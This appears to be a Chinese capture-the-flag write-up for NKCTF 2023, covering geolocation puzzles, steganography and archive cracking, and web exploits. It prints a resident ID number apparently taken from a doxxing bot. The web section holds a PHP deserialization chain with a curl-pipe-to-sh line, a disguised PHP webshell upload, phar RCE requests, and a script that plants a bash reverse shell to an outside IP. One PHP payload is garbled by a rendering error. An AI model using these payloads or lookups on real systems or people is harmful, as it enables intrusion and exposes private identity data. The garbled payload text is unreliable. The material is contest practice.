文章目录
Social Engineering
狂飙
这里有具体地址
https://www.thepaper.cn/newsDetail_forward_21692605
NKCTF{广东省江门市蓬江区莲平路}
两个人的夜晚
看到NCC了,百度地图看具体地址
NKCTF{天津市西青区中北镇万卉路3号NCC新城市中心}
旅程的开始
搜一下中铁酒店就能定位到是贵阳站附近,最后定位到是广场上
NKCTF{贵州省贵阳市南明区遵义路1号}
bridge
百度识图,翻一翻能找到是世纪大桥,看到flag格式,可能是提示,找找附近景点,都交了试试,试出来了
NKCTF{海南省海口市龙华区世纪公园}
real-social-engineering
用在线网站搜一下
看到是陕西汉中的,社工机器人一下
610702200203264710
The other Bridge
很容易找到是嘉陵江大桥,根据拍照角度和那根柱子,能够猜到是洪崖洞旁边的戴家巷崖壁步道,根据flag格式提示河畔,加个嘉陵江畔
NKCTF(重庆市渝中区嘉陵江畔戴家巷崖壁步道}
Ferris_Wheel
奥特莱斯一眼就能看到,很快锁定地方,然后就是排列组合,试出
NKCTF{重庆市永川区兴龙湖CBD永川里奥特莱斯渝西之眼摩天轮}
misc
hardmisc
JYYHOYLZIJQWG27FQWWOJPEX4WH3PZM3T3S2JDPPXSNAUTSLINKEMMRQGIZ6NCER42O2LZF2Q3X3ZAI=
发一下就有flag了
blue
取证大师直接打开
直接找到flag
NKCTF{wE1come_to_NKCTF20233}
THMaster
cheatengine
第一次搜0
打一会,搜增大的数值
多搜几次
找到
改为20000000
再和原来文件比较,找到flag
三体
羊城杯类似,直接用之前的脚本
from PIL import Image
def decode(im):
width,height = im.size
lst = []
for y in range(height):
for x in range(width):
red,green,blue = im.getpixel((x,y))
if(blue | green | red) == 0:
break
index = (green<<8) + blue
lst.append(chr(index))
return ''.join(lst)
if __name__=='__main__':
all_text = decode(Image.open("三体.bmp","r"))
with open ("decode.text","w",encoding = "utf-8") as f:
f.write(all_text)
easy_word
看到有注释
根据注释写脚本
import hashlib
import itertools
import string
# 已知的密码片段
known_part = "h??vO??0"
# 生成可能的字符集
possible_chars = string.ascii_lowercase + string.digits +string.ascii_uppercase
# 将已知的密码片段转换为一个列表,便于操作
password_chars = list(known_part)
# 找到已知片段中未知的字符位置
unknown_positions = [i for i, char in enumerate(password_chars) if char == '?']
# 遍历所有可能的字符组合
for combination in itertools.product(possible_chars, repeat=len(unknown_positions)):
# 将组合应用到密码片段
for i, char in zip(unknown_positions, combination):
password_chars[i] = char
# 生成待验证的密码
password = ''.join(password_chars)
# 计算该密码的哈希值
hash_object = hashlib.sha256(password.encode())
hex_dig = hash_object.hexdigest()
# 检查哈希值是否匹配已知的部分哈希值
if hex_dig.startswith("b75d1224"):
print("找到了密码:", password)
break
找到密码h4evOF90
把密码去除后解压
https://products.aspose.app/pdf/zh/unlock/docx
找到一张图片
看到里面有key
Welcome_to_NKCTF
lsb解一下
python2 /root/桌面/misc/cloacked-pixel-master/lsb.py extract 2.png out Welcome_to_NKCTF
NKCTF{dc0684dd-5a57-4d47-b9c0-debed0ef28b9}
五年Misc,三年模拟
拿到压缩包,看注释
6位数字,直接爆破
114514
根据文件名"CA1N也很疑惑呢",对文件异或0x43,得到压缩包
解压后,文件异或0x43,得到压缩包
拿到zip,里面有两个压缩包,算法是ZipCrypto,那可以尝试明文攻击
https://www.freebuf.com/articles/network/255145.html
可看这篇文章
可以猜测里面有handsome,那么plain.txt
就是handsome
handsome
对压缩包明文攻击
bkcrack -C CA1N也很疑惑呢.zip -c handsome.zip -p plain.txt -o 30 -x 0 504B0304
得到key
然后改密码
bkcrack.exe -C CA1N也很疑惑呢.zip -k 0247f1a3 5da9d4ac 1ae8312c -U new.zip easy
生成了new.zip
,密码是easy
,拿到一个加密的压缩包5.rar,和一张handsome.jpg,jpg应该没什么用
根据hint:?u?u?u?u?u?u
可以猜测用hashcat爆破6位大写字母
先用rar2john生成5.rar的hash
rar2john.exe 5.rar >5.txt
把得到的5.txt改一下,冒号和前面的东西都不要了
$rar5$16$6385fa42c4d3cb1318e1ea71c1dcbfa3$15$cc4e558d99f6c846eb0fc54073e2293c$8$03d8cf03ed478602
hashcat64 -m 13000 -a 3 5.txt ?u?u?u?u?u?u
这个要爆几个小时,得到密码
BUSADJ
解压得到加密的4.zip,和5.png
观察5.png,发现文件尾有一个逆置的png,提取出来保存为test.png
写个脚本倒回来
with open('test.png','rb') as f:
with open('test2.png','wb') as g:
g.write(f.read()[::-1])
拿到一张图片
稍微改一下高度,就可以看到key了
be8b06bc13780abf
得到加密的3.zip
和GGGGGGG.png
strings GGGGGGG.png
找到一串md5值
5D93CEB70E2BF5DAA84EC3D0CD2C731A
qwer1234
根据图片的内容可以知道是lsb,那上面就是key
python2 lsb.py extract GGGGGGG.png flag.txt qwer1234
f442212b3d398a8e
拿到2.zip和3.jpg
steghide爆破密码
#python3运行
from subprocess import *
def foo():
stegoFile='3.jpg'#隐写的图片
extractFile='passwd.txt'#爆破的密码
passFile='rockyou.txt'#字典
errors=['could not extract','steghide --help','Syntax error']
cmdFormat='steghide extract -sf "%s" -xf "%s" -p "%s"'
f=open(passFile,'r', encoding='ISO-8859-1')
for line in f.readlines():
cmd=cmdFormat %(stegoFile,extractFile,line.strip())
p=Popen(cmd,shell=True,stdout=PIPE,stderr=STDOUT)
content=str(p.stdout.read(),'gbk')
for err in errors:
if err in content:
break
else:
print (content),
print ('the passphrase is %s' %(line.strip()))
f.close()
return
if __name__ == '__main__':
foo()
print ('ok')
pass
跑出密码
764dc6c0361fc0fd
得到1.zip和2.jpg
f5隐写,跑一下出来密码
un7pXkXMD6J5P5jKzP3FCCVJ4VFtTF26
得到1_ShoutInTheSky.wav
sstv -d 1.wav -o 1.png
组合一下
NKCTF{iLiKECTFbec@u5eDreaM!}
first spam of rabbit year
法治文明公正民主公正文明公正文明公正敬业法治自由文明富强友善爱国平等爱国友善敬业爱国爱国文明富强公正诚信和谐公正诚信平等法治公正公正平等
解码得到
rabbit 又 move
spam解码前面的内容
佛曰:栗楞穆婆悉遮俱吉室嚧无佛吉埵沙他蒙蒙唎皤啰烁伽驮数迦帝楞萨那摩度驮伽度耶萨那曳喝写怛钵遮耶烁埵室摩迦尼菩呼阇栗墀豆哆烁利吉舍阿萨俱夜嚧蒙喝喝诃罚悉阇喝无数那迦陀室沙穆皤南陀娑利烁输夜输参陀数醯诃提耶钵遮夜栗谨伽俱菩度咩烁室醯迦输诃度唎阇钵无羯栗提摩谨咩悉哆阇室悉钵楞那他伽啰伊耶谨那尼那呼伊罚卢输南喝豆娑伽唎醯嚧那嚧羯摩吉参喝那阿地墀数陀楞啰孕罚度醯菩萨埵埵栗他穆菩参舍迦羯沙啰吉尼楞怛尼孕苏地遮苏提曳谨阇那啰阇南曳输曳伊苏伊度啰咩提苏他他娑驮俱婆钵室利烁俱伽写利羯悉阇遮皤佛南悉阿帝萨喝悉阇参参楞罚皤苏喝墀诃他吉伽提利尼埵啰输嚧醯婆伽墀菩唎娑谨他怛写沙伽啰烁摩栗埵伊啰俱楞帝写地卢利怛吉帝陀阿唵伊伽谨曳阇羯娑羯嚧埵唎烁楞喝曳输他阿室钵谨啰楞他呼娑喝菩哆蒙穆诃婆烁他夜孕穆诃钵佛参室悉舍萨穆室遮阿喝啰伽耶喝漫
拿到佛曰,多试试发现是要密钥的与佛论禅,密钥是rabbit
&auD5v'<)`h{dF6C_*'Jrcqzrh&ZaF>`g^Hr'}vuHZJB%~}_H5?gu;q)"<rA?{sH2{IfafKfu=6w_tip:47&13
发现有零宽隐写
EnoOoO1G
根据上面的tip,进行rot13解码
RabBbB1T
对上面rot47解码
U2FsdGVkX19L5uer0YVyC4BKC9U+2um18/wCVNGFw+yqTON0wdn8FjBXQkCpnLDwaLx727z7FleH
要把零宽的东西删一下,不然好像解不出
easy_bmp
height手动改就出了
width.bmp
import struct
with open('width.bmp', 'rb') as f:
data = f.read()
width = struct.unpack('<i', data[18:22])[0]
height = struct.unpack('<i', data[22:26])[0]
# 爆破 BMP 文件的宽度
for i in range(1000, 1500):
with open(f'./bpout_width/{i}.bmp', 'wb') as f1:
new_width = struct.pack('<i', i)
new_data = data[:18] + new_width + data[22:]
f1.write(new_data)
BMP_Height_width_easy
同样的方法改宽高
都改成360即可
easy_rgb
手动拼一下图就拿到key了
NKCTF2023
解压拿到r.txt,g.txt,b.txt
其实和rgb没什么关系,就是要注意顺序
f_1=open('r.txt','r')
f_2=open('g.txt','r')
f_3=open('b.txt','r')
r1=f_1.read()
r2=f_2.read()
r3=f_3.read()
for i in range(0,len(r2)-1):
print(r1[i] + r2[i] + r3[i], end='')
504b03041400000008003dba6a5654369fb2420000004000000008000000666c61672e747874f3740aa94cb32c48af0cb22c70760df20932f52bf52fc8f4f70b76370c8b2a28c92d0bf54ccf0fd40f0a712d08890a080b09374a3437b72cc87172f32c4bf6d30600504b010214001400000008003dba6a5654369fb24200000040000000080024000000000000002000000000000000666c61672e7478740a0020000000000001001800c4ecda7d6353d90185c557aa6553d9016a47568f6553d901504b050600000000010001005a0000006800000007004145532d3132
保存为压缩包,aes解密,前面图片的key应该就是密钥
IBTyf9pgyR9pCERLR5NuOpiONSG1VZptmvUIgoQ/RTEpTZPVTW2a779plBFIvcN+
https://tool.lmeee.com/jiami/aes
baby_music
把文件头去掉
with open("flag.wav", "rb") as input_file:
data = bytearray(input_file.read())
result = ""
i = 0
while i < len(data) - 1:
if data[i] == 0x10 and data[i + 1] == 0x27:
result+="0"
i += 2
elif data[i] == 0x11 and data[i + 1] == 0x27:
result+="1"
i += 2
else:
i += 1
print(result)
f=open("1.txt","w+")
f.write(result)
with open("1.txt", "r") as f:
binary_data = f.read() # 示例二进制数据
def binary_to_str(binary_data):
# 将二进制字符串按照8位分组
binary_chunks = [binary_data[i:i + 8] for i in range(0, len(binary_data), 8)]
# 将每个二进制分组转换为对应的字符
result = bytearray(int(chunk, 2) for chunk in binary_chunks)
return result
converted_data = binary_to_str(binary_data)
with open("1.zip", "wb") as a:
a.write(converted_data)
看到注释
011
0
0100
1010
111
11
0
1
111
10
101
1010
1
0010
110011
1
0000
0
0110
01
000
000
011
111
010
100
00
000
01111
10000
1000
1011
1
0
000
010
01
10
100
111
11
0100
1011
110
0
10
0
010
01
1
0
100
110011
00
000
1
0000
0
010
0
01
1000
0
1
1
0
010
011
01
1011
1
111
001
10
0100
111
1010
101
1
0000
0
1100
00
0110
001100
摩斯密码
import morse_talk as mt
# 读取 morse.txt 文件
with open('morse.txt', 'r') as f:
lines = f.readlines()
# 将 0 和 1 替换为相应的摩斯码字符
morse_lines = [line.strip().replace('0', '.').replace('1', '-') for line in lines]
# 解码每一行
decoded_lines = [mt.decode(line) for line in morse_lines]
# 打印解码后的行
for decoded_line in decoded_lines:
print(decoded_line,end='')
"Welcome to NKCTF. The password is 16 bytes randomly generated. Is there a better way to unlock the zip?"
16位密码,那就是爆破不出来了,用明文攻击
看到里面有个png,对png明文攻击
bkcrack -C 1.zip -c flag.png -p png
同样的姿势改密码
得到flag
easy_music
用audacity打开
发现前面这里有一串数据,可以和二进制对应上
01110000 01110011 01100100 01000001 00111010 00111000 00110011 00111001 00110111 00111001 00110011 00110110 00110111
转为字符串
psdA:83979367
看频谱图
psdB:74208645
psdC:01374890
软件是openpuff
NKCTF{52d446a51c6896af878f872e0d748118}
easy_rgb
拼图手拼,拿到key
NKCTF2023
f1=open('r.txt','r')
f2=open('g.txt','r')
f3=open('b.txt','r')
r1=f1.read()
r2=f2.read()
r3=f3.read()
for i in range(0,len(r2)-1):
print(r1[i] + r2[i] + r3[i], end='')
存为压缩包
misc?iot
用ida打开
选择处理器选项,找到找到Edit ARM architecture options。
这样就成功对题目文件进行了反编译。并找到一个显眼的字符串"NKCTF2023"。
查看函数,找到一个疑似是RC4加密的函数。
猜测NKCTF2023是加密时所用的密钥,现在要找密文
这里有点像密文
复制其中的值
245F02E287A0A76C072A75DA3F8A57D71A1F
easypic
png文件尾有东西
提出出来后面,保存1.vera
,前面的图片保存为1.png
挂载1.vera
,密钥文件为1.png
得到flag.png
用在线ps编辑
大概能看清flag,不知道怎么把更清晰的提取出来,还是太菜了
baby_bitlocker
flag1
和前面类似,明文攻击,改密码
bkcrack -C crack.zip -c usb.pcapng p pcapng -o 6
92ac142d 9bd136b1 ac01a95d
bkcrack.exe -C crack.zip -k 92ac142d 9bd136b1 ac01a95d -U new.zip easy
拿到流量包
NKCTF2023_YYDS_YYDS!!!
这个是doc的密码,把doc的密码去除(不要用在线网站,不然会少文件),改为zip解压,这里是word字体隐写
找到fontTable.xml
77103B51-C523-4510-B832-68A52E1A25DE
将文件名改成77103B51-C523-4510-B832-68A52E1A25DE.odtff
https://somanchiu.github.io/odttf2ttf/js/demo
上传文件会自动下载。
打开Byxs20_font Regular.ttf
打开字符映射表
nkctf{ttf_is_funny
flag2
zsteg
猜测顺序是上下左右,根据hint 33,可以将图片分为很多33的块。
可以用gimp看它的rgb值
联系上面,每一块应该都是这个顺序,通过读取rgb值,发现它的值都是小于5的,应该就是4进制转字符串
from PIL import Image
def print_r_channel_lt_10(image_path):
img = Image.open(image_path)
width, height = img.size
if img.mode != 'RGB':
img = img.convert('RGB')
res = ""
for y in range(height // 3):
for x in range(width // 3):
for i in range(3 * y, 3 * (y + 1)):
for j in range(3 * x, 3 * (x + 1)):
r, g, b = img.getpixel((j, i))
if r < 10:
res += str(r)
#print(res)
flag = ""
for i in range(0, len(res), 4):
n = int(res[i] + res[i + 3] + res[i + 1] + res[i + 2], 4)
flag += chr(n)
print(flag)
image_path = 'flag2.png'
print_r_channel_lt_10(image_path)
flag2 is here: images_are_fun_
flag3
volatility -f memory.raw imageinfo
volatility -f memory.raw --profile=Win7SP1x64 filescan >file.txt
找到bitlocker这个,但是导出不了。
观察它是PYTHON压缩包下的
导出这个压缩包
拿到
AA092F1F-AE5F-40B8-912D-FFC1E831FD58
用取证大师直接解密
bitlocker_is_very_interesting}
WEB
hard_php
直接用ctfshow的命令执行挑战的rce4的paylaod来改就行了。0用’!‘‘ ′ 来替换即可直接打。有个要注意的地方是这里有禁用函数 ‘ N K C T F = '来替换即可 直接打。有个要注意的地方是这里有禁用函数 `NKCTF= ′来替换即可直接打。有个要注意的地方是这里有禁用函数‘NKCTF=%DF=(/._)[’!'’ ′ ] ; ']; ′];=%2B%2B %DF; %DE=; %DE.=%2B%2B . %DF; %2B%2B;KaTeX parse error: Expected group after '_' at position 1: _̲%2B%2B;%DE.=%2B%2B ; _; ;%DE.=%2B%2B ; _; ; %DE['!']( $%DE[]);&!=highlight_file&=/flag`
easy_pms
这版本不是过时了吗
直接打禅道18.0 beta1的poc就行了
https://www.wangan.com/p/11v72ba249b49ca8
babyphp
用[]正则绕过。但是很奇怪为什么${PWD:0:1}这样去截取字符一直不行迷惑
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'welcome_to_NKCTF';
$this->arg=new Hell0();
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}
function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
public function __construct(){
// $this->shell="\$_POST['b']";
$this->cmd="cur\${PWD:13:1} http://47.96.41.103/xxx|sh";
// $this->cmd="\$_POST['c']";
$this->shell='system';
$this->cmd='more /[e-h][0-2][0-z][0-z]';
$this->shell='system';
$this->cmd='dir /[e-h][0-z][0-z][0-z]';
// $this->cmd="`echo qq`";
}
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
}
}
class Hell0{
public $func;
public function __construct(){
$this->func=new Happy();
}
public function __toString(){
$function = $this->func;
$function();
}
}
$a=new Welcome();
$b=serialize($a);
$c=urlencode($b);
print $b;
unserialize($b);
easy_pms
直接打一个nday
https://xz.aliyun.com/t/11798
docker run 8627708c96b5 Monolog/RCE2 system 'cat /flag' -p phar > testinfo.ini
URLENC_PAYLOAD=$(cat testinfo.ini | xxd -p | tr -d "\n" | sed "s#..#%&#g")
curl -sSkig 'http://f6238fbe-357a-4003-a363-177c7ad69bb2.node2.yuzhian.com.cn/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD" -o -
curl -sSkig 'http://26fc1593-7f71-4f97-a8f4-42132b3af639.node2.yuzhian.com.cn/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo' -d "ini=$URLENC_PAYLOAD" -o -
easy_cms
直接用这个洞打就行了
https://github.com/SukaraLin/php_code_audit_project/blob/master/dedecms/dedecms%20v5.7%20sp2%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1.md
命令执行绕过
https://johnfrod.top/ctf/%E5%88%A9%E7%94%A8%E6%95%B0%E5%AD%A6%E5%87%BD%E6%95%B0%E6%9E%84%E9%80%A0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
直接用一些进制转换就行了
Content-Disposition: form-data; name="litpic"; filename="a.php"
Content-Type: image/gif
GIF89A
<?php var_dump("awdqa");$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1});?>
xiaopi
把这个请求头放进去报文里面就可以跳转到登陆页面了
X-Requested-With: XMLHttpRequest
然后把用户名改成下面这个即可
我们的vps上面放这个恶意js脚本。用bash弹shell。题目没有curl,被坑了
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog',{
},function(res3){},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="14";
data.minute = "20";
data.shell="bash -c 'bash -i >& /dev/tcp/47.96.41.103/1339 0>&1' ";
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();